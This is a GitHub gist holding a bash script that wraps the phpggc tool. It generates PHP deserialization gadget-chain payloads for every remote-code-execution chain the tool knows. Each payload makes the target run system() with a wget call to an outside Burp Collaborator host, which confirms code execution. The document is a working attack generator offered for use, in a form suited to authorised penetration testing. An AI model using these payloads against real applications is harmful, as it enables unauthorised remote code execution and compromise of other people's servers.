Created
June 15, 2023 13:31
generate gadget chains php
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Git clone this tool https://github.com/ambionics/phpggc | |
# phpggc wrapper that automatically generates payloads for RCE gadgets | |
function="system" | |
command="wget http://your.burpcollaborator.net/?" | |
# modify the options below depending on your use case | |
options="-a -b -u -f" | |
# generate gadget chains | |
./phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 ./phpggc -i | grep 'phpggc ' --line-buffered | | |
while read line; do | |
gadget=$(echo $line | cut -d' ' -f2) && | |
if echo $line | grep -q "<function> <parameter>"; then | |
./phpggc $options $gadget "$function" "$command?$(date +%s)" | |
elif echo $line | grep -q "<code>"; then | |
./phpggc $options $gadget "$function('$command?$(date +%s)');" | |
elif echo $line | grep -q "<command>"; then | |
./phpggc $options $gadget "$command?$(date +%s)" | |
else | |
./phpggc $options $gadget | |
fi; | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment